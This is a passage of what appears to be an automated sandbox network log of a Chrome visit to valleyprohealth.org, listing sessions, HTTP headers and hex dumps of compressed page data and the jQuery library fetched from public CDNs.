e9 b5 3c 5f c4 93 87 d5 62 f8 39 1a 27 53 39 4e 9c 28 39 3a 65 33 7e c5 be 71 12 fe f0 58 1e f3 e4 8d 3f 85 5f 27 4b 45 f8 25 9f 25 a7 a2 e4 db f8 a8 f2 fe c3 71 15 f5 a5 13 b1 11 90 e6 21 c0 6f 03 3e 85 a2 f1 d7 37 50 f9 1f 1c 80 1e 1f ff ac fc ba 8c e1 2d 95 70 23 0e b4 a4 85 20 eb 72 3e 2f 80 8c 01 fb c3 19 3b f2 9c c4 79 ee dc f0 e8 88 7d c5 8e fe 14 9c 1d b1 bf c0 2b 20 f3 a8 4a d1 5b d9 89 6f 66 2e 14 4c a2 05 af bf 8b 23 78 b3 cc a4 49 92 cc e3 d3 6e f7 ea ea 4a 1e 53 fb 25 ce 78 2a 5a 4f 76 c3 69 57 f0 e2 2b df 23 bc 3e fc f3 82 2a ec 91 3c 77 22 a8 c8 0f a1 c7 65 7f 16 f3 28 f9 9a 8f c2 88 3f 7c 7b c2 46 25 b6 7d 38 7e 78 e5 cf bc 10 5b 3c 74 17 58 f9 13 76 24 24 e3 e8 a4 5c 53 78 f8 ee cd 0b e9 85 f5 dd 4b a3 67 1c a5 30 1e 77 cb 52 44 22 f7 ed cc 5b 25 76 22 d3 14 ea c3 dc 89 13 c5 3c 39 eb fc ed cd 53 c9 ee b0 ee 79 e9 e5 0c 9a eb ac 73 e9 f3 ab 79 18 25 1d e6 86 b3 04 28 3b eb 5c f9 5e 32 39 f3 f8 a5 ef 72 89 1e 40 40 67 7e e2 3b 81 14 bb 0e f4 0e 15 e4 76 12 f9 b3 77 52 12 4a 23 3f 39 9b 85 9d 0c 71 00 c9 2c e2 c1 59 c7 99 cf 03 0e 39 Data Ascii: 5abaF(,Eb3w-u{m45v0@HBE?p)KNfIdiI22nf$g^wXQOK?NY<ds~Jq;qg^83g#&I{Mpy',>a<~~~eg_b?h<_b9'S9N(9:e3~qX?_'KE%%q!o>7P-p# r>/;y}+ J[of.L#xInJS%xZOviW+#><w"e(?\|{F%}8~x[<tXv$$\SxKg0wRD"[%v"<9Sysy%(;\^29r@@g~;vwRJ#?9q,Y9
Apr 24, 2024 14:44:12.711647034 CEST	1289	IN	Data Raw: 16 ee 44 f2 01 3a f4 2d ff 37 1e 9f 75 cc de b5 d9 eb b0 49 c4 47 67 9d ac 21 2e 9d 20 e0 37 f3 28 84 ce 15 24 13 39 8c c6 dd ab b9 94 52 d5 4d 26 20 34 71 f7 72 ee 4e dc ae 3f 85 da c6 dd 11 74 4d 78 df 15 88 f0 a7 44 a0 e5 f9 6c dc 39 6f 4d 8e Data Ascii: D:-7uIGg!. 7($9RM& 4qrN?tMxDl9oM\[C$]!@oKu%9j\!(-Ir$\|[qW\%$oKfhol9]}MyQ{)e.OoBPS;e]Rk."xk
Apr 24, 2024 14:44:12.711697102 CEST	1289	IN	Data Raw: 7f 00 08 34 10 4b fe 6c be 40 30 11 ff e7 c2 8f 40 c1 93 e5 b1 5c 02 5b a9 d6 c1 01 09 8f 66 60 09 fc 90 a6 13 7e 18 11 42 70 e1 62 20 d3 09 62 76 11 4e a7 8b 99 9f dc e4 86 22 54 10 14 f3 c7 68 99 da 90 f0 34 0c 93 df f3 90 80 1d 69 7e 13 61 67 Data Ascii: 4Kl@0@\[f`~Bpb bvN"Th4i~agD%QkKuW2w\(!F@>bf&lp4,](8V >lL9,afrYx~Fu7}4GhI9U#% 9;m:rD
Apr 24, 2024 14:44:12.711767912 CEST	1289	IN	Data Raw: 24 3e 54 4d f3 c4 56 21 d1 38 66 38 1e 1c af 44 5d e7 70 81 bb cc c6 d5 f8 1f aa 9a 06 78 94 13 d5 56 72 f4 ca 89 a6 d8 27 aa ae 6c c4 de 20 12 48 c1 0a f1 5a c7 06 cd d4 80 06 f3 44 29 d8 80 89 26 8c 87 69 e2 56 a4 08 94 05 37 a8 4b ac c7 5f 42 Data Ascii: $>TMV!8f8D]pxVr'l HZD)&iV7K_BASz'oB~~s]VkA_!Vb}sz7yDS)s7{2K26}ie`,5!V{}a6\e4X%J76FRcj&9
Apr 24, 2024 14:44:12.711841106 CEST	1289	IN	Data Raw: a6 c8 68 22 25 5d 3a 0b 49 d6 a3 76 ab 2a c5 72 43 68 33 d0 f3 4e e0 2e 02 5c b9 7b 8b 75 89 62 0f 96 f4 12 e0 5d e4 f0 ba f3 c5 30 f0 5d 5a 8f d8 8c 50 64 28 2d 53 54 b6 5b 68 39 75 fc 19 2d e5 be 43 ca 11 c7 ee 14 0e 93 81 eb 0e 6e bb ec 13 a1 Data Ascii: h"%]:Iv*rCh3N.\{ub]0]ZPd(-ST[h9u-Cnm"b\~'")@#~0b&jmCc`\!$@nfZ+Zz#h]NtMJ"Z1b8)?\D.PtMFq>zh6D~0fKhw#R
Apr 24, 2024 14:44:12.711855888 CEST	1289	IN	Data Raw: 93 1a 06 7e 0d b6 bf 3f 1b 0f 12 67 5c 7b 05 e0 9c 79 02 c4 0f 70 99 37 62 41 2d d5 69 ca 00 ad 1e d7 eb 54 bc 7d c7 89 2d f0 6e ef dd b8 9d 8c 52 c8 0b 44 6a 5d e7 69 e7 92 6c ed 55 0d 28 69 40 f3 23 f2 70 31 f3 82 82 8a dc 2b d7 4d 41 49 e9 68 Data Ascii: ~?g\{yp7bA-iT}-nRDj]ilU(i@#p1+MAIhkI`L;@:8w\|sY <6.4'kjs:\5[O&LQz+<7mG:$p_6Zxa3cdm#J)]"'
Apr 24, 2024 14:44:12.711924076 CEST	1289	IN	Data Raw: 57 f7 89 c9 0f 2f f7 79 e6 c6 b1 b4 e2 83 f2 d5 da 9a b9 b5 11 f4 ef 67 e2 f5 32 13 6f 9d 5d 47 51 ac 36 18 be 7c 7f c5 6c cb af a6 21 a2 59 81 89 81 a3 16 54 42 e0 19 60 cd 4c f5 8f fc fd 4c 4c 29 f8 e1 6c 70 39 1f 88 40 b4 b8 a9 61 30 b8 52 fa Data Ascii: W/yg2o]GQ6\|l!YTB`LLL)lp9@a0RcjafZnK}MKn2YLA=m2TR\8Lx]($01]gez$\|AKIZ644d+Jx0GOOi"\/'M3')
Apr 24, 2024 14:44:12.711968899 CEST	1289	IN	Data Raw: 96 5f ce 3b e7 f0 86 7d ed 07 01 f6 9f c7 dd c0 a7 65 6f b5 aa a9 9a b2 c7 9a 21 b4 ad 2b 36 bd 71 af 54 c5 96 b9 7b e5 06 e1 c2 a3 ba 91 0d 13 a8 46 cf d2 a9 76 d0 f7 a6 73 51 b9 41 98 cc b3 0a 0a 33 e3 25 65 2e 55 b3 bb 08 ce 1b 64 95 84 4a 9c Data Ascii: _;}eo!+6qT{FvsQA3%e.UdJ&/0=b;?U(Nf*l83OOIgF=,Gn3o^\|"4i0s}"pCczxH^MaT.f{A#MDV#q5"muL-p\|zRi
Apr 24, 2024 14:44:12.711982965 CEST	1289	IN	Data Raw: 11 0c 92 70 3c 0e c8 75 a7 c9 8e ca 3b 4a 82 11 33 8c d6 80 3f af 0c 43 65 a0 12 48 6e b2 88 66 6c 89 2b 79 94 fb 55 b6 13 34 1d a6 2a b0 bc 28 9c 7b e1 15 ce 45 22 38 e1 99 41 61 72 ef f2 60 4f 4b 3f cd 66 66 a7 85 4f 78 5e f6 d1 2e 26 fc 32 82 Data Ascii: p<u;J3?CeHnfl+yU4*({E"8Aar`OK?ffOx^.&2oQK2r4Q`/+h+`>d<~QKiV<(3\Je C<QXL\eHb#YejA2V[v,/hsec5g&p5~[Ub
Apr 24, 2024 14:44:12.712061882 CEST	1289	IN	Data Raw: f1 f4 59 27 bf 91 e3 21 74 24 d5 66 92 61 e9 c7 c5 ca 82 e6 f5 4f 6d 97 19 48 5a 9b 85 06 87 c5 05 1f 03 ca 1d e9 87 fd 40 39 68 99 cf 1f 8a 74 98 53 bd 7b 28 87 8e f0 f9 43 39 74 84 8f 00 e5 d0 11 3e 7f 28 87 c5 05 77 03 e5 b0 b8 e0 e3 42 d9 5d Data Ascii: Y'!t$faOmHZ@9htS{(C9t>(wB]jeO}a_]sJ`jP4'jjP#'\&wv;K4~X\PN5rkP/w]/KuX\<sX\pPT;RsGY\P>~VnU-qrqn
Apr 24, 2024 14:44:12.938035011 CEST	1289	IN	Data Raw: b2 c7 f0 35 1e 0c f8 74 9e dc c8 f3 59 93 41 50 d3 9b c4 b7 25 43 a0 7e 4d 6c e0 fc 76 83 83 47 6e 20 90 96 c5 54 8c 6f 2f 78 9a 90 0e 1b c4 90 34 65 8b ea 34 de 8c 30 48 e3 8f 03 55 5c 8e d0 6d 3c 5b 7d d5 67 93 19 5a ff ec 3f 23 7e 1e 4f cc ac Data Ascii: 5tYAP%C~MlvGn To/x4e40HU\m<[}gZ?#~OH^9eaeHfs*3~VWe<'z'r#-[s/Ku`1I#x40$gBu8rMIyg[eO=Tg()h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	151.101.1.229	80	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:44:13.082588911 CEST	356	OUT	GET /jquery.slick/1.5.1/slick-theme.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 24, 2024 14:44:13.242733955 CEST	362	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick-theme.css Accept-Ranges: bytes Date: Wed, 24 Apr 2024 12:44:13 GMT X-Served-By: cache-lax-kwhp1940072-LAX X-Cache: HIT alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49750	151.101.1.229	80	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:44:13.082592964 CEST	350	OUT	GET /jquery.slick/1.5.1/slick.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 24, 2024 14:44:13.242615938 CEST	356	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://cdn.jsdelivr.net/jquery.slick/1.5.1/slick.css Accept-Ranges: bytes Date: Wed, 24 Apr 2024 12:44:13 GMT X-Served-By: cache-lax-kwhp1940041-LAX X-Cache: HIT alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49908	35.222.242.251	80	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:44:41.135019064 CEST	590	OUT	GET / HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665
Apr 24, 2024 14:44:41.374022961 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20 Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Link: <https://valleyprohealth.org/wp-json/>; rel="https://api.w.org/" Link: <https://valleyprohealth.org/wp-json/wp/v2/pages/1321>; rel="alternate"; type="application/json" Link: <https://valleyprohealth.org/>; rel=shortlink X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate X-Cache: HIT: 4 X-Cache-Group: normal Content-Encoding: gzip Data Raw: 35 61 62 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd db 92 db 46 b2 28 fa 2c 45 ec 7f a8 a1 62 a6 d5 33 0d 10 77 82 2d 75 7b c9 6d cb f2 da 92 ad 91 34 9e 35 cb 76 30 40 a0 48 42 02 09 0e 00 f6 c5 1a 45 ec df d8 3f 70 1e cf 0f 9c b7 fd 29 fb 4b 4e 66 16 ee 04 49 90 cd 96 64 0d 69 ab 49 14 aa 32 b3 b2 b2 b2 32 b3 6e f7 1f ff c1 0b dd e4 66 ce d9 24 99 06 e7 f7 1f e3 17 0b 9c d9 f8 ac c3 67 d2 df 5e 77 58 9c dc 04 fc ac 13 bb 51 18 04 d2 90 4f 9c 4b 3f 8c 4e 59 3c 0d c3 64 f2 a8 73 7e 1f 4a 71 c7 3b bf cf e0 f3 f8 0f 92 c4 be 0b c3 71 c0 d9 1b 67 cc 5e 38 33 67 cc 23 26 49 e9 7b 80 e3 cf 13 f1 80 9f 87 a3 c5 cc 4d fc 70 f6 f0 ea 84 79 27 2c 3e 61 c1 09 f3 8f d9 fb 3c 0b 7e ae 7e 0e 7e 65 67 e2 eb 5f ff 62 3f ff fa 68 e9 b5 3c 5f c4 93 87 d5 62 f8 39 1a 27 53 39 4e 9c 28 39 3a 65 33 7e c5 be 71 12 fe f0 58 1e f3 e4 8d 3f 85 5f 27 4b 45 f8 25 9f 25 a7 a2 e4 db f8 a8 f2 fe c3 71 15 f5 a5 13 b1 11 90 e6 21 c0 6f 03 3e 85 a2 f1 d7 37 50 f9 1f 1c 80 1e 1f ff ac fc ba 8c e1 2d 95 70 23 0e b4 a4 85 20 eb 72 3e 2f 80 8c 01 fb c3 19 3b f2 9c c4 79 ee dc f0 e8 88 7d c5 8e fe 14 9c 1d b1 bf c0 2b 20 f3 a8 4a d1 5b d9 89 6f 66 2e 14 4c a2 05 af bf 8b 23 78 b3 cc a4 49 92 cc e3 d3 6e f7 ea ea 4a 1e 53 fb 25 ce 78 2a 5a 4f 76 c3 69 57 f0 e2 2b df 23 bc 3e fc f3 82 2a ec 91 3c 77 22 a8 c8 0f a1 c7 65 7f 16 f3 28 f9 9a 8f c2 88 3f 7c 7b c2 46 25 b6 7d 38 7e 78 e5 cf bc 10 5b 3c 74 17 58 f9 13 76 24 24 e3 e8 a4 5c 53 78 f8 ee cd 0b e9 85 f5 dd 4b a3 67 1c a5 30 1e 77 cb 52 44 22 f7 ed cc 5b 25 76 22 d3 14 ea c3 dc 89 13 c5 3c 39 eb fc ed cd 53 c9 ee b0 ee 79 e9 e5 0c 9a eb ac 73 e9 f3 ab 79 18 25 1d e6 86 b3 04 28 3b eb 5c f9 5e 32 39 f3 f8 a5 ef 72 89 1e 40 40 67 7e e2 3b 81 14 bb 0e f4 0e 15 e4 76 12 f9 b3 77 52 12 4a 23 3f 39 9b 85 9d 0c 71 00 c9 2c e2 c1 59 c7 99 cf 03 0e 39 Data Ascii: 5abaF(,Eb3w-u{m45v0@HBE?p)KNfIdiI22nf$g^wXQOK?NY<ds~Jq;qg^83g#&I{Mpy',>a<~~~eg_b?h<_b9'S9N(9:e3~qX?_'KE%%q!o>7P-p# r>/;y}+ J[of.L#xInJS%xZOviW+#><w"e(?\|{F%}8~x[<tXv$$\SxKg0wRD"[%v"<9Sysy%(;\^29r@@g~;vwRJ#?9q,Y9
Apr 24, 2024 14:44:41.374064922 CEST	1289	IN	Data Raw: 16 ee 44 f2 01 3a f4 2d ff 37 1e 9f 75 cc de b5 d9 eb b0 49 c4 47 67 9d ac 21 2e 9d 20 e0 37 f3 28 84 ce 15 24 13 39 8c c6 dd ab b9 94 52 d5 4d 26 20 34 71 f7 72 ee 4e dc ae 3f 85 da c6 dd 11 74 4d 78 df 15 88 f0 a7 44 a0 e5 f9 6c dc 39 6f 4d 8e Data Ascii: D:-7uIGg!. 7($9RM& 4qrN?tMxDl9oM\[C$]!@oKu%9j\!(-Ir$\|[qW\%$oKfhol9]}MyQ{)e.OoBPS;e]Rk."xk
Apr 24, 2024 14:44:41.374113083 CEST	1289	IN	Data Raw: 7f 00 08 34 10 4b fe 6c be 40 30 11 ff e7 c2 8f 40 c1 93 e5 b1 5c 02 5b a9 d6 c1 01 09 8f 66 60 09 fc 90 a6 13 7e 18 11 42 70 e1 62 20 d3 09 62 76 11 4e a7 8b 99 9f dc e4 86 22 54 10 14 f3 c7 68 99 da 90 f0 34 0c 93 df f3 90 80 1d 69 7e 13 61 67 Data Ascii: 4Kl@0@\[f`~Bpb bvN"Th4i~agD%QkKuW2w\(!F@>bf&lp4,](8V >lL9,afrYx~Fu7}4GhI9U#% 9;m:rD
Apr 24, 2024 14:44:41.374175072 CEST	1289	IN	Data Raw: 24 3e 54 4d f3 c4 56 21 d1 38 66 38 1e 1c af 44 5d e7 70 81 bb cc c6 d5 f8 1f aa 9a 06 78 94 13 d5 56 72 f4 ca 89 a6 d8 27 aa ae 6c c4 de 20 12 48 c1 0a f1 5a c7 06 cd d4 80 06 f3 44 29 d8 80 89 26 8c 87 69 e2 56 a4 08 94 05 37 a8 4b ac c7 5f 42 Data Ascii: $>TMV!8f8D]pxVr'l HZD)&iV7K_BASz'oB~~s]VkA_!Vb}sz7yDS)s7{2K26}ie`,5!V{}a6\e4X%J76FRcj&9
Apr 24, 2024 14:44:41.374231100 CEST	1289	IN	Data Raw: a6 c8 68 22 25 5d 3a 0b 49 d6 a3 76 ab 2a c5 72 43 68 33 d0 f3 4e e0 2e 02 5c b9 7b 8b 75 89 62 0f 96 f4 12 e0 5d e4 f0 ba f3 c5 30 f0 5d 5a 8f d8 8c 50 64 28 2d 53 54 b6 5b 68 39 75 fc 19 2d e5 be 43 ca 11 c7 ee 14 0e 93 81 eb 0e 6e bb ec 13 a1 Data Ascii: h"%]:Iv*rCh3N.\{ub]0]ZPd(-ST[h9u-Cnm"b\~'")@#~0b&jmCc`\!$@nfZ+Zz#h]NtMJ"Z1b8)?\D.PtMFq>zh6D~0fKhw#R
Apr 24, 2024 14:44:41.374310970 CEST	1289	IN	Data Raw: 93 1a 06 7e 0d b6 bf 3f 1b 0f 12 67 5c 7b 05 e0 9c 79 02 c4 0f 70 99 37 62 41 2d d5 69 ca 00 ad 1e d7 eb 54 bc 7d c7 89 2d f0 6e ef dd b8 9d 8c 52 c8 0b 44 6a 5d e7 69 e7 92 6c ed 55 0d 28 69 40 f3 23 f2 70 31 f3 82 82 8a dc 2b d7 4d 41 49 e9 68 Data Ascii: ~?g\{yp7bA-iT}-nRDj]ilU(i@#p1+MAIhkI`L;@:8w\|sY <6.4'kjs:\5[O&LQz+<7mG:$p_6Zxa3cdm#J)]"'
Apr 24, 2024 14:44:41.375102043 CEST	1289	IN	Data Raw: 57 f7 89 c9 0f 2f f7 79 e6 c6 b1 b4 e2 83 f2 d5 da 9a b9 b5 11 f4 ef 67 e2 f5 32 13 6f 9d 5d 47 51 ac 36 18 be 7c 7f c5 6c cb af a6 21 a2 59 81 89 81 a3 16 54 42 e0 19 60 cd 4c f5 8f fc fd 4c 4c 29 f8 e1 6c 70 39 1f 88 40 b4 b8 a9 61 30 b8 52 fa Data Ascii: W/yg2o]GQ6\|l!YTB`LLL)lp9@a0RcjafZnK}MKn2YLA=m2TR\8Lx]($01]gez$\|AKIZ644d+Jx0GOOi"\/'M3')
Apr 24, 2024 14:44:41.375137091 CEST	1289	IN	Data Raw: 96 5f ce 3b e7 f0 86 7d ed 07 01 f6 9f c7 dd c0 a7 65 6f b5 aa a9 9a b2 c7 9a 21 b4 ad 2b 36 bd 71 af 54 c5 96 b9 7b e5 06 e1 c2 a3 ba 91 0d 13 a8 46 cf d2 a9 76 d0 f7 a6 73 51 b9 41 98 cc b3 0a 0a 33 e3 25 65 2e 55 b3 bb 08 ce 1b 64 95 84 4a 9c Data Ascii: _;}eo!+6qT{FvsQA3%e.UdJ&/0=b;?U(Nf*l83OOIgF=,Gn3o^\|"4i0s}"pCczxH^MaT.f{A#MDV#q5"muL-p\|zRi
Apr 24, 2024 14:44:41.375221014 CEST	1289	IN	Data Raw: 11 0c 92 70 3c 0e c8 75 a7 c9 8e ca 3b 4a 82 11 33 8c d6 80 3f af 0c 43 65 a0 12 48 6e b2 88 66 6c 89 2b 79 94 fb 55 b6 13 34 1d a6 2a b0 bc 28 9c 7b e1 15 ce 45 22 38 e1 99 41 61 72 ef f2 60 4f 4b 3f cd 66 66 a7 85 4f 78 5e f6 d1 2e 26 fc 32 82 Data Ascii: p<u;J3?CeHnfl+yU4*({E"8Aar`OK?ffOx^.&2oQK2r4Q`/+h+`>d<~QKiV<(3\Je C<QXL\eHb#YejA2V[v,/hsec5g&p5~[Ub
Apr 24, 2024 14:44:41.375241995 CEST	1289	IN	Data Raw: f1 f4 59 27 bf 91 e3 21 74 24 d5 66 92 61 e9 c7 c5 ca 82 e6 f5 4f 6d 97 19 48 5a 9b 85 06 87 c5 05 1f 03 ca 1d e9 87 fd 40 39 68 99 cf 1f 8a 74 98 53 bd 7b 28 87 8e f0 f9 43 39 74 84 8f 00 e5 d0 11 3e 7f 28 87 c5 05 77 03 e5 b0 b8 e0 e3 42 d9 5d Data Ascii: Y'!t$faOmHZ@9htS{(C9t>(wB]jeO}a_]sJ`jP4'jjP#'\&wv;K4~X\PN5rkP/w]/KuX\<sX\pPT;RsGY\P>~VnU-qrqn
Apr 24, 2024 14:44:41.591253996 CEST	1289	IN	Data Raw: b2 c7 f0 35 1e 0c f8 74 9e dc c8 f3 59 93 41 50 d3 9b c4 b7 25 43 a0 7e 4d 6c e0 fc 76 83 83 47 6e 20 90 96 c5 54 8c 6f 2f 78 9a 90 0e 1b c4 90 34 65 8b ea 34 de 8c 30 48 e3 8f 03 55 5c 8e d0 6d 3c 5b 7d d5 67 93 19 5a ff ec 3f 23 7e 1e 4f cc ac Data Ascii: 5tYAP%C~MlvGn To/x4e40HU\m<[}gZ?#~OH^9eaeHfs*3~VWe<'z'r#-[s/Ku`1I#x40$gBu8rMIyg[eO=Tg()h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	151.101.1.229	80	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:44:58.179290056 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49747	151.101.194.137	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	546	OUT	GET /jquery-3.5.0.min.js?ver=3.2.1 HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89493 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d95" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1673216 Date: Wed, 24 Apr 2024 12:44:13 GMT X-Served-By: cache-lga21930-LGA, cache-bur-kbur8200107-BUR X-Cache: HIT, HIT X-Cache-Hits: 131, 0 X-Timer: S1713962653.476708,VS0,VE1 Vary: Accept-Encoding
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 30 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 65 2c 74 2c Data Ascii: e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,
2024-04-24 12:44:13 UTC	1378	IN	Data Raw: 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f 6e 63 65 7d 2c 6e 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ect Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var
